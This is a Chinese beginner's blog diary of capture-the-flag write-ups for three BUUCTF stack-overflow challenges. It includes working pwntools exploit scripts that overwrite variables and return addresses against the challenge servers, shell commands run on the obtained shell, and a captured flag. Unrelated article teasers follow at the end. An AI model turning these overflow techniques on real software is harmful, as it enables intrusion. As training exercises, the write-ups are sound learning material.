每日3道PWN(第二天)
ciscn_2019_n_1
参考:
[BUUCTF-pwn]——ciscn_2019_n_1-CSDN博客
[BUUCTF]PWN5——ciscn_2019_n_1_ciscn_2019_n_4-CSDN博客
BUUCTF—ciscn_2019_n_1 1-CSDN博客
checksec一下
64位+栈溢出
按f5查看main函数,双击可疑函数
发现含有命令执行的且发现flag
重点来了
v1的偏移量是0x30=48(十进制),但是v1是44
然后你看v2是0x4=4,刚好44+4=48=0x30。这说明什么,v1和v2的结构是这样的
rbp这里也包含着rsp(rsp是啥?搜搜)
在函数返回时,
rsp
会被用于释放这些空间。
解题思路1:
这道题的意思是输入字符串v1,判断v2。使字符串v1长度溢出后覆盖到存储v2的内存空间(为什么能覆盖,我前面画图说过了,正常情况下,那叫溢出吧),把v2的值改掉,让v2等于11.28125(注意,首先我们要找到11.28125的16进制表达形式,因为我们构造payload的时不能传入一个float类型)。
11.28125的16进制在题目中可以找到。
像这种题,额滴pwn神说一般都能在题目中找到,所以各位就自己偷偷学一下怎么转换吧
tip:ucomiss是比较的意思
- ucomiss: 无符号比较两个单精度浮点数
- jp: 条件跳转指令,如果奇偶标志位为1,则跳转
- movss: 将单精度浮点值从一个位置复制到另一个位置
- jnz: 条件跳转指令,如果不等于零则跳转
- jmp: 无条件跳转指令
所以通过这个标识,可以找到11.28125的16进制数为0x41348000
构造exp(方法1——覆盖)
from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
# payload = 'a' * (0x30-0x4) + p64(0x41348000).decode("iso-8859-1")# 第二种写法
payload = b'a' * (0x30-0x4)+p64(0x41348000)
nc.sendline(payload)
nc.interactive()
解题思路2:
使字符串v1长度溢出后指向cat /flag的地址
原理就是填满v1(v1包括v2)和rbp,也就是0x30+0x8。
然后令ret指向cat /flag的地址。
现在我们去找地址,地址要找灰色的这个,他对应的就是0x4006BE
构造exp(方法2——溢出)
from pwn import *
# ciscn_2019_n_1
nc=remote("node4.buuoj.cn",29189)
# 第一种写法
payload = 'a' * (0x30+0x8) + p64(0x4006BE).decode("iso-8859-1")# 第二种写法
# payload = b'a' * (0x30+0x8)+p64(0x4006BE) #输入payload来进行操作以拿到程序的shell,0x40+8=0x48
# # 其中 b是bytes的缩写,是bytes类型,p64是打包函数,把地址转换为b类型的二进制形式nc.sendline(payload)
nc.interactive()
其他博主给的补充(不知道有啥用,也给你们放这里了):
变量类型 | 存储大小 |
---|---|
db | 一字节 |
dw | 两字节 |
dd | 四字节 |
df | 六字节 |
dq | 八字节 |
问:其实这里还有一个问题,他为什么最后的返回地址能直接指向if判断之后里面的cat /flag,我就感觉很神奇,可能是我没学汇编的原因吧,有汇编的大佬给我说说嘛
看视频了解了一点,栈就是一堆一堆的,叠高高,就和汉堡一样,摞起来的,数据就这样摞起来,然后为了标识你的每行代码,就有地址这个东西,因为是平行着摞起来的,不存在包含关系,所以可以根据地址随意取用。我现在是怎么理解的。
小总结:
1.学会了栈溢出和覆盖(覆盖需要特殊情况才去使用)
2.理解了偏移量的大概,感觉新手够用,慢慢研究吧,嘿嘿
3.esp是栈底,ebpsh
pwn1_sctf_2016
参考:
[BUUCTF]PWN4——pwn1_sctf_2016-CSDN博客
从题海中入门(五)pwn1_sctf_2016 - FreeBuf网络安全行业门户
(buuctf) - pwn入门部分wp - rip -- pwn1_sctf_2016 - J1ay - 博客园 (cnblogs.com)
checksec
无意间看见这个PIE: No PIE (0x8048000) 中的0x8048000
有点好奇,搜了一下
No PIE" 表示该可执行文件没有启用PIE,因此加载基地址被设置为
0x8048000
。这个地址将是程序在内存中的起始地址。
分析32位+栈溢出。第一次见32位的,得好好看看
发现用64位和32位都能打开,然后我搜了一下
使用64位IDA打开32位程序可能有一些潜在的缺点或限制,包括以下几点:
指令集和寄存器:64位IDA默认使用x86-64指令集和64位寄存器,而32位程序使用x86指令集和32位寄存器。这意味着在64位IDA中查看和分析32位程序时,寄存器和指令集的显示可能不够直观或准确。
内存寻址:32位程序使用32位地址空间,而64位IDA默认使用64位地址空间。这可能导致在64位IDA中分析32位程序时,内存地址显示可能会出现截断或混淆,使得分析过程变得更复杂
调用约定:32位程序和64位程序使用不同的调用约定,例如参数传递方式和栈的使用规则。64位IDA默认使用x64调用约定,这可能导致在分析32位程序时,函数参数的传递和栈的使用可能被错误地解析或显示。
插件和脚本兼容性:某些插件和脚本可能是针对特定的架构编写的,如果使用64位IDA打开32位程序,可能会出现插件或脚本不兼容的情况,导致功能不正常或无法使用。
按f5,然后进入vuln这个函数
这次的代码很。。。不友好,c语言学的不精,只学了一个基础,只能求助于ai和其他博主了
int vuln()
{
const char *v0; // eax
char s; // [esp+1Ch] [ebp-3Ch]
char v3; // [esp+3Ch] [ebp-1Ch]
char v4; // [esp+40h] [ebp-18h]
char v5; // [esp+47h] [ebp-11h]
char v6; // [esp+48h] [ebp-10h]
char v7; // [esp+4Fh] [ebp-9h]printf("Tell me something about yourself: ");
读取s变量3,给予32(相当于0x20)大小的缓存空间,但是注意s的真实大小是0x3c
fgets(&s, 32, edata);std::string::operator=(&input, &s); 把s作为输入字符串赋值给std::string对象input
用于创建一个std::allocator对象并将其初始化为v5的地址
std::allocator<char>::allocator(&v5);用于创建一个std::string对象并将其初始化为v4的地址,"you" 被赋值给了 std::string 对象 v4
std::string::string(&v4, "you", &v5);那v5被干了什么,就创建一下,就没了?
ai回答:v5 并不是简单地“创建一下就没了”,而是在 std::string 对象的生命周期中起到了内存分配的作用。
std::allocator<char>::allocator(&v7);
std::string::string(&v6, "I", &v7);
replace((std::string *)&v3); // 在input中查找 "you" 并替换成 "I"
std::string::operator=(&input, &v3, &v6, &v4);// 把处理后的字符串赋值给input// 销毁中间字符串对象
std::string::~string((std::string *)&v3);
std::string::~string((std::string *)&v6);
std::allocator<char>::~allocator(&v7);
std::string::~string((std::string *)&v4);
std::allocator<char>::~allocator(&v5);// 获取处理后的字符串的C字符串表示,并拷贝到s中,可能存在缓冲区溢出
v0 = (const char *)std::string::c_str((std::string *)&input);
strcpy(&s, v0); 把处理好的v0赋值给s
return printf("So, %s\n", &s);
总体来说,溢出点就是s,但是s的大小就是0x20,要想溢出到0x30是不可能的,会报错,就不可能到溢出那一步。也就是我们填满s,也不能溢出。
但是代码后面的大概意思就是,如果s变量里面有i,就把i变成you,这样,就可以溢出了!
32个I的大小相当于32*3=96=0x60。那就说明不能直接用32,我们算算哈,设应该用x个I
60-x*3=0——>x=20
代码很复杂,跟其他博主学习的动态调试,研究一下
动态调试。今天贪玩了,明天早上补上
shift+f12,发现漏洞利用点
漏洞在get_flag函数里
最后地址位0x8048F13,但是其他博主用的0x8048f0d,我试了,都一样
构造exp
为什么要加4个a呢,a这个字符肯定无所谓,不用I就行,用I就崩
因为32位的ebp需要0x4个大小来覆盖,覆盖这个之后才能继续覆盖我们想要的地址,这是汇编的一些知识。
from pwn import *
# pwn1_sctf_2016
nc=remote("node4.buuoj.cn",28376)
# 第一种写法
# payload = 'I' * 0x14 +'a'* 0x4+ p32(0x8048F13).decode("iso-8859-1")
# 第二种写法
payload = b'I' * 20 + b'a' * 4 + p32(0x8048f0d)
nc.sendline(payload)
nc.interactive()
jarvisoj_level0
不分析了,不出意外就是栈溢出(戴墨镜)
f5进入
write(1, "Hello, World\n", 0xDuLL);
- write 是一个系统调用函数,用于向文件描述符写入数据。第一个参数 1 表示要写入的文件描述符为标准输出设备,第二个参数 "Hello, World\n" 是要写入的数据,第三个参数 0xDuLL 表示要写入的数据长度。
- "Hello, World\n" 是一个以空字符 '\0' 结尾的字符串常量,长度为 13(包括末尾的换行符)。
- 0xDuLL 是一个十六进制数,表示十进制数 13 的无符号长整型值。由于要打印的字符串长度为 13,因此使用这个值来指定要写入的数据长度。
点击进入vulnerable_function
不说了,漏洞点——read溢出,以前都是get溢出。(其实我也刚知道这个漏洞点,哈哈哈哈哈)
变量buf大小0x80
return read(0, &buf, 0x200uLL);
来研究一下read函数
- read 是一个系统调用函数,用于从文件描述符中读取数据。第一个参数 0 表示要读取的文件描述符为标准输入设备,第二个参数 &buf 是一个指向缓冲区的指针,第三个参数 0x200uLL 表示要读取的最大字节数。
- &buf 是指向 buf 变量的指针,即缓冲区的地址。read 函数将从标准输入设备读取的数据存储到这个缓冲区中。
- 0x200uLL 是一个十六进制数,表示十进制数 512 的无符号长长整型值。由于指定了最大读取字节数为 512,因此使用这个值来限制读取的数据长度。
也就是正常按get方法溢出就行
找一下能获得flag的位置,shift+f12发现/bin/sh,双击跟进
双击跟进callsystem函数
可以按空格变成我这样
地址位0x40059A
构造exp
from pwn import *
# jarvisoj_level0
nc=remote("node4.buuoj.cn",27806)
# 第一种写法
# payload = 'a' * (0x80+0x8) + p64(0x40059A).decode("iso-8859-1")
# 第二种写法
payload = b'a' * (0x80+0x8)+p64(0x40059A)
nc.sendline(payload)
nc.interactive()
注意这一题是shell环境,别傻傻的等flag,输入ls;cat fla*
ls;cat flag 输入命令!!
bin
boot
dev
etc
flag
flag.txt
home
lib
lib32
lib64
media
mnt
opt
proc
pwn
root
run
sbin
srv
sys
tmp
usr
var
flag{c63e8700-78a9-47d9-9fbd-2beec11989eb}
我今天还看了一些b站,简单给自己总结一下
XMCVE 2020 CTF Pwn入门课程_哔哩哔哩_bilibili
总结不全,明天补充
今天学习了前两个视频,第二个视频看了一半
了解了c语言需要经过以下三个过程,才能让机器按指令运行。机器智能听得懂机器码,所以要汇编。
那问题就来了,编译有啥用,c语言这种高级语言,直接进行汇编,变成机器码不更快嘛
ai回答
虽然直接将C语言汇编为机器码可能会获得更高的性能,但编译过程中的汇编步骤可以提供更好的可移植性、开发效率、优化能力以及代码可读性与可维护性。因此,大多数情况下,我们使用C语言编译为汇编代码再生成机器码,以平衡性能和开发效率之间的权衡。
IDA的作用就是反汇编和反编译,反汇编就是查表,比如0x55就是push ebp,这样一一对应的关系。但是反编译好像就难了。
3.汇编指令mov、rbp
4.动态调试
5.栈的原理
相关文章:
每日3道PWN(第二天)
ciscn_2019_n_1 参考: [BUUCTF-pwn]——ciscn_2019_n_1-CSDN博客 [BUUCTF]PWN5——ciscn_2019_n_1_ciscn_2019_n_4-CSDN博客 BUUCTF—ciscn_2019_n_1 1-CSDN博客 checksec一下 64位栈溢出 按f5查看main函数,双击可疑函数 发现含有命令执行的且发现fl…...
SAP STMS传输请求
一、概述 一般SAP项目上都会有六套系统,分别是: 测试环境-DEV系统 主要由100:沙盘系统:用于业务顾问配置 200:开发系统:用于开发ABAP写代码 300:测试系统:主要是单元测试、顾问自己…...
L1-009:N个数求和
目录 ⭐题目描述⭐ ⭐分析 ⭐程序代码 运行结果 ⭐文案分享⭐ ⭐题目描述⭐ 本题的要求很简单,就是求N个数字的和。麻烦的是,这些数字是以有理数分子/分母的形式给出的,你输出的和也必须是有理数的形式。 输入格式: 输入第一行给出…...
当发送“Hello,World”时,channel发生了什么?
一、Netty概述 1.Netty是什么? Netty 是一个异步的、基于事件驱动的网络应用框架,用于快速开发可维护、高性能的网络服务器和客户端。 2.Netty的地位怎么样? Netty 在 Java 网络应用框架中的地位就好比:Spring 框架在 JavaEE …...
服务器运行情况及线上排查问题常用命令
一、top命令 指令行: top返回: 返回分为两部分 (一)系统概览,见图知意 以下是几个需要注意的参数 1、load average: 系统负载,即任务队列的平均长度。三个数值分别为 1分钟、5分钟、15分…...
Hadoop学习笔记(HDP)-Part.18 安装Flink
目录 Part.01 关于HDP Part.02 核心组件原理 Part.03 资源规划 Part.04 基础环境配置 Part.05 Yum源配置 Part.06 安装OracleJDK Part.07 安装MySQL Part.08 部署Ambari集群 Part.09 安装OpenLDAP Part.10 创建集群 Part.11 安装Kerberos Part.12 安装HDFS Part.13 安装Ranger …...
LeetCode56. 合并区间
🔗:【贪心算法,合并区间有细节!LeetCode:56.合并区间-哔哩哔哩】 class Solution { public:vector<vector<int>> merge(vector<vector<int>>& intervals) {if(intervals.size()0){return intervals;…...
解决typescript报错:找不到名称xxx
现象: 原因:在同时导入默认导出和命名导出时,默认导出必须放在命名导出之前 下面的就是原始文件: 默认导出指: export default导出类型, import时无需大括号 命名导出指: 仅有export关键字…...
UVM中封装成agent
在验证平台中加入monitor时,看到driver和monitor之间的联系:两者之间的代码高度相似。其本质是因为二者 处理的是同一种协议,在同样一套既定的规则下做着不同的事情。由于二者的这种相似性,UVM中通常将二者封装在一起,…...
OSI七层模型与TCP/IP四层模型
一、OSI七层模型简述 OSI 模型的七层是什么?在 OSI 模型中如何进行通信?OSI 模型有哪些替代方案? TCP/IP 模型关于专有协议和模型的说明 二、七层模型详解(DNS、CDN、OSI) 状态码DNS nslookup命令 CDN whois命令 …...
QT 中 QProgressDialog 进度条窗口 备查
基础API //两个构造函数 QProgressDialog::QProgressDialog(QWidget *parent nullptr, Qt::WindowFlags f Qt::WindowFlags());QProgressDialog::QProgressDialog(const QString &labelText, const QString &cancelButtonText, int minimum, int maximum, QWidget *…...
学习ShardingSphere前置知识
学习ShardingSphere前置准备知识 一. SPI SPI(Service Provider Interface)是一种Java的扩展机制,用于实现组件之间的松耦合。在SPI模型中,服务提供者(Service Provider)定义了一组接口,而服务…...
读书笔记-《数据结构与算法》-摘要3[选择排序]
选择排序 核心:不断地选择剩余元素中的最小者。 找到数组中最小元素并将其和数组第一个元素交换位置。在剩下的元素中找到最小元素并将其与数组第二个元素交换,直至整个数组排序。 性质: 比较次数(N-1)(N-2)(N-3)…21~N^2/2交换次数N运行…...
Arduino驱动MLX90614红外测温传感器(温湿度传感器)
目录 1、传感器特性 2、测量方法 3、硬件原理图 4、控制器和传感器连线图...
Ubuntu上传文件到SMB共享文件夹
0. 前言 公司有一些数据共享文件夹,平时可以把开发的重要文件放到上面备份。本人开发使用ubuntu系统,共享文件夹是windows的形式,想通过命令的方式,方便快捷,还可shell脚本自动化。 1. 安装挂载库 sudo apt-get upd…...
【Linux】基础IO--重定向理解Linux下一切皆文件缓冲区
文章目录 一、重定向1.什么是重定向2.dup2 系统调用3.理解输入重定向、输出重定向和追加重定向4.简易shell完整实现 二、理解linux下一切皆文件三、缓冲区1.为什么要有缓冲区2.缓冲区的刷新策略3.缓冲区的位置4.实现一个简易的C语言缓冲区5.内核缓冲区 一、重定向 1.什么是重定…...
RINEX介绍
一、RINEX是什么 Receiver Independent Exchange Format (RINEX) 是一种用于存储、交换和处理全球定位系统 (GPS) 接收机观测数据的标准化文件格式。RINEX 格式由国际电信联盟 (ITU) 和国际GPS服务 (IGS) 组织共同开发和维护。它提供了一种通用的数据格式,使得不同…...
ROS-ROS通信机制-服务通信
文章目录 一、服务通信基本知识二、自定义srv三、C实现四、Python实现 一、服务通信基本知识 服务通信也是ROS中一种极其常用的通信模式,服务通信是基于请求响应模式的,是一种应答机制。也即: 一个节点A向另一个节点B发送请求,B接收处理请求…...
chown和chmod
chown和chmod都是在Linux和Unix系统中用于设置文件和文件夹权限的命令,但它们的功能和用途有所不同。 功能:chown主要用于修改文件或文件夹的所有者和所属组,而chmod则主要用于修改文件或文件夹的读写执行权限。用途:如果想要授权…...
【GPU】linux 安装、卸载 nvidia 显卡驱动、cuda 的官方文档、推荐方式(runfile)
文章目录 1. 显卡驱动1.1. 各版本下载地址1.2. 各版本文档地址1.3. 安装、卸载方式 2. CUDA2.1. 各版本下载地址2.2. 各版本文档地址2.3. 安装、卸载方式2.4. 多版本 CUDA 切换方式 1. 显卡驱动 1.1. 各版本下载地址 https://www.nvidia.com/Download/Find.aspx?langzh-cn 1…...
6页手写笔记总结信号与系统常考知识大题知识点
题型一 判断系统特性题型二 求系统卷积题型三 求三大变换正反变换题型四 求全响应题型五 已知微分方程求系统传递函数题型六 已知系统的传递函数求微分方程题型七 画出系统的零极点图,并判断系统的因果性和稳定性 (笔记适合快速复习,可能会有…...
Qt-QSplitter正确设置比例
简短版本: splitter->setSizes({1000, 2000}); // 这个值至少跟像素值设置的一样大,或者更大,例如x10倍详细版本: setSizes 官方介绍如下: Sets the child widgets’ respective sizes to the values given in the…...
一篇吃透大厂面试题,2024找工作一帆风顺。
🏆作者简介,普修罗双战士,一直追求不断学习和成长,在技术的道路上持续探索和实践。 🏆多年互联网行业从业经验,历任核心研发工程师,项目技术负责人。 🎉欢迎 👍点赞✍评论…...
【1day】用友 U8 Cloud系统TaskTreeQuery接口SQL注入漏洞学习
注:该文章来自作者日常学习笔记,请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与作者无关。 目录 一、漏洞描述 二、影响版本 三、资产测绘 四、漏洞复现...
华为快应用中自定义Slider效果
文章目录 一、前言二、实现代码三、参考链接 一、前言 在华为快应用中官方提供了<slider>控件,但是这个控件的限制比较多,比如滑块无法自定义,所以这里进行下自定义,自己修改样式。 二、实现代码 整体效果如下: 源码如下…...
C语言每日一题(43)旋转链表
力扣 61 旋转链表 题目描述 给你一个链表的头节点 head ,旋转链表,将链表每个节点向右移动 k 个位置。 示例 1: 输入:head [1,2,3,4,5], k 2 输出:[4,5,1,2,3]示例 2: 输入:head [0,1,2], …...
CCF计算机软件能力认证考试—202209-1如此编码
题目背景 某次测验后,顿顿老师在黑板上留下了一串数字 23333 便飘然而去。凝望着这个神秘数字,小 P 同学不禁陷入了沉思…… 题目描述 已知某次测验包含 � 道单项选择题,其中第 � 题(1≤�≤&…...
Ubuntu18.04安装Ipopt-3.12.8流程
本文主要介绍在Ubuntu18.04中安装Ipopt库的流程,及过程报错的解决方法,已经有很多关于Ipopt安装的博客,但经过我的测试,很多都失效了,经过探索,找到可流畅的安装Ipopt的方法,总结成本篇博客。 …...
linux 内核同步互斥技术之信号量
信号量 信号量允许多个进程同时进入临界区,大多数情况下只允许一个进程进入临界区,把信号量的计数值设置为 1,即二值信号量,这种信号量称为互斥信号量。可允许多个锁持有者。 和自旋锁相比,信号量适合保护比较长的临界…...
交通强国添力量 无人机巡航为何备受期待?
在高速建设交通强国的过程中,交通运输部海事局计划完善“陆海空天”一体化水上交通运输安全保障体系。无人机巡航系统将在提升海事船舶监管和水上搜救能力方面发挥关键作用,以构建更为全面的监管体系。尽管已初步建立了海事监管体系,但仍存在…...
有网站源码去哪里做/360推广登录入口
为什么80%的码农都做不了架构师?>>> xgcalendar 谷歌日历风格的日历控件 一个基于jQury的日历插件,可以帮助用户快速的创建日程(活动),类似谷歌日历 为啥叫xgcalendar? Xxuanye GGoogle Calendar Like 功…...
网站如何做百度才会收录/厦门网站设计公司
原题链接 思路: ASCII码中32代表的就是空格’ 。此题不需要加逗号或者加空格 #include <stdio.h>int main() {printf("%c%c%c%c%c%c%c%c%c%c%c%c\n",73,32,99,97,110,32,100,111,32,105,116,33);return 0; }...
360的网站怎么做/新网站友链
吟诵,不为吟诵 我们吟诵,不是为了吟诵。我们推广吟诵,也不是为了推广吟诵。我们在做一项大事业——中国文化的重建,吟诵只是其中的一项,虽然是很重要的一项。一百年来,我们走了一条弯路。“五四”先哲们以为…...
劵妈妈这种网站怎么做/软件开发公司简介
解决方案1: 给scroll-view加上white-space: nowrap; ,给scroll-view的子元素box加上display:inline-block 就像这样: .scroll-box { white-space: nowrap; } .scroll-box .box{ display:inline-block } 解决方案2:flex scroll-view里包个view&#x…...
做网站双12促销方案/网站没有友情链接
这个问题。。。。。。很简单,但一直有人问,每次还是细节,算了,直接写个小短文吧。下面是一段Sample代码,我们假设MSI文件被放到了Support Files中,并且通过静默安装方式调用第三方MSI包,msiexec…...
网站建设最流行语言/百度电脑版下载
$str "你好,欢迎使用[args1].我们会马上给你发货,地址:[args2]";如何获取[args1]和[args2];是不是一般都的正则进行匹配?正则水平有点烂,/^(\[)*(\])$/ 匹配有问题呢?请指教…...